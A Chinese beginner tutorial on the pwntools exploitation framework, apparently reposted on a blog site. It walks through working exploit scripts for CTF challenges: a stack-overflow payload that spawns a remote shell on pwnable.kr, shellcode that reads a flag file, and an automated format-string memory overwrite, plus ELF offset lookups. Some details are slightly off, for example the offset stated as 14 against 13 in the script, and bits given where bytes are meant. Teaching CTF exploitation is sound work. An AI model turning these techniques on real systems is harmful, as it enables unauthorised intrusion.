一步一步学pwntools(适合新手)
序
pwntools是一個二進制利用框架。官方文檔提供了詳細的api規范。然而目前并沒有一個很好的新手教程。因此我用了我過去的幾篇writeup。由于本文只是用來介紹pwntools使用方法,我不會過于詳細的講解各種二進制漏洞攻擊技術。
Pwntools的“Hello World”
棧溢出無疑是二進制攻擊的“Hello World”。這里,我們用pwnable.kr的bof來進行展示。
#include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){char overflowme[32];printf("overflow me : ");gets(overflowme); // smash me!if(key == 0xcafebabe){system("/bin/sh");}else{printf("Nah..\n");} } int main(int argc, char* argv[]){func(0xdeadbeef);return 0; }pwntools腳本:
from pwn import * c = remote("pwnable.kr", 9000) c.sendline("AAAA" * 13 + p32(0xcafebabe)) c.interactive()源碼簡潔明了,我們只需要將key改寫成0xcafebabe。
現在我們重新看回pwntools腳本。第一行將pwntools提供的工具引入到我們的python上下文中。
remote("一個域名或者ip地址", 端口) 會連接到我們指定的地址及端口。 然后該函數會返回remote對象 (這里,我們將該對象保存到了變量 c). remote對象主要用來進行對遠程主機的輸入輸出. 它有如下幾個方法:
- send(payload) 發送payload
- sendline(payload)發送payload,并進行換行(末尾\n)
- recvn(N) 接受 N(數字) 字符
- recvline() 接收一行輸出
- recvlines(N) 接收 N(數字) 行輸出
- recvuntil(some_string)接收到 some_string 為止
在第三行中, p32() 可以讓我們轉換整數到小端序格式.p32轉換4字節. p64 和 p16 則分別轉換 8 bit 和 2 bit 數字. c.sendline 將我們的payload發送到遠程主機. "AAAA" * 14是我們到key的偏移量. Pwntools不能自動運算偏移量,用戶需要自行計算。
最后,我們成功getshell了. 這時,你可能想發送命令進行交互. c.interactive()允許我們在終端里將命令傳送到遠程服務器. Pwntools 會自動接收輸出并回顯 .
寫 Shellcode
下一題是pwnable.kr的asm. 你需要用ssh -p2222 asm@pwnable.kr并輸入密碼 guest 來查看可執行文件和源碼. 這里,我們只展示利用代碼:
from pwn import *p = process("./asm") context.log_level = 'DEBUG' gdb.attach(p)context(arch='amd64', os='linux')shellcode = shellcraft.amd64.pushstr("this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong") shellcode += shellcraft.amd64.linux.open('rsp',0,0) shellcode += shellcraft.amd64.linux.read('rax','rsp',0) shellcode += shellcraft.amd64.linux.write(1, 'rsp', 100)p.recvuntil('shellcode: ') p.send(asm(shellcode)) log.success(p.recvall())我們這里用到了新的api: process(), contex.log_level, gdb.attach, 和 shellcraft.
process和 remote 類似.remote連接遠程主機, process則通過你聲明的二進制文件路徑在本地創建新的進程. 除了 I/O, process返回的對象可以通過 gdb.attach(p) 將進程attach到gdb上. Attach 之后, gdb 便可以調試該程序來 (設置 breakpoints, 查看 stack, 以及簡單的反匯編).
提醒一下,如果你想在命令行中使用gdb.attach(), 便需要安裝并運行 tmux.
當我們想查看服務器輸出時,并不需要在每個recvline或者recvuntil前加 print. 當 context.log_level被設置為 "DEBUG" , 我們的輸入和服務器的輸出會被直接輸出.
shellcraft 是一個幫忙生成shellcode的類. 在我們的例子中, 我們 open 了一個文件并 read 文件到 stdout.
格式化漏洞自動化
我沒有找到一個比較容易做的格式化漏洞題目,所以干脆用了官方文檔的例子
from pwn import * import tempfileprogram = tempfile.mktemp() source = program + ".c" write(source, ''' #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/mman.h> #define MEMORY_ADDRESS ((void*)0x11111000) #define MEMORY_SIZE 1024 #define TARGET ((int *) 0x11111110) int main(int argc, char const *argv[]) {char buff[1024];void *ptr = NULL;int *my_var = TARGET;ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);if(ptr != MEMORY_ADDRESS){perror("mmap");return EXIT_FAILURE;}*my_var = 0x41414141;write(1, &my_var, sizeof(int *));scanf("%s", buff);dprintf(2, buff);write(1, my_var, sizeof(int));return 0; }''') cmdline = ["gcc", source, "-Wno-format-security", "-m32", "-o", program] process(cmdline).wait_for_close() def exec_fmt(payload):p = process(program)p.sendline(payload)return p.recvall()autofmt = FmtStr(exec_fmt) offset = autofmt.offset p = process(program, stderr=PIPE) addr = u32(p.recv(4)) payload = fmtstr_payload(offset, {addr: 0x1337babe}) p.sendline(payload) print hex(unpack(p.recv(4)))有了 FmtStr, 我們不用算偏移量算到瘋. 我們需要先構造一個可以接收我們輸入并返回格式化字符串輸出的函數. 接著,我們可以得到autofmt. 這個對象包含offset, 即算好的偏移量. fmtstr_payload(offset, {address: value})幫我們生成最后的payload. 第一個參數 offset用 autofmt.offset 算好的即可. 然后, 我們需要聲明{address: value}來覆蓋address的內容成對應的value. 我們還可以同時改寫多個地址: {address1: value1, address2:value2,..., address: valueN}.
使用 ELF()
有些題目給了我們libc. 用 gdb> x function1?—?function2算偏移量太麻煩了, 因此有了 ELF.
from pwn import *e = ELF('./example_file') print hex(e.address) # 0x400000 print hex(e.symbols['write']) # 0x401680 print hex(e.got['write']) # 0x60b070 print hex(e.plt['write']) # 0x401680 offset = e.symbols['system'] - e.symbols['printf'] # calculate offset binsh_address = next(e.search('/bin/sh\x00')) # find address which contains /bin/sh和 process() 一樣, 我們只用將路徑給ELF(path) 即可分析 ELF.
我們有以下幾種方法操縱ELF:
- symbols['a_function'] 找到 a_function 的地址
- got['a_function'] 找到 a_function的 got
- plt['a_function']找到 a_function 的 plt
- next(e.search(“some_characters”))找到包含 some_characters(字符串,匯編代碼或者某個數值)的地址.
總結
Pwntools 是一套十分強大的工具. 在本文中, 我介紹了最常用的幾個api, 但 pwntools 還有很多其他強大的api,諸如 qemu, adb. 各位可通過官方文檔進行剩余的學習
總結
以上是生活随笔為你收集整理的一步一步学pwntools(适合新手)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 固原治疗宫颈炎最好的医院推荐
- 下一篇: 摩尔庄园怎么删好友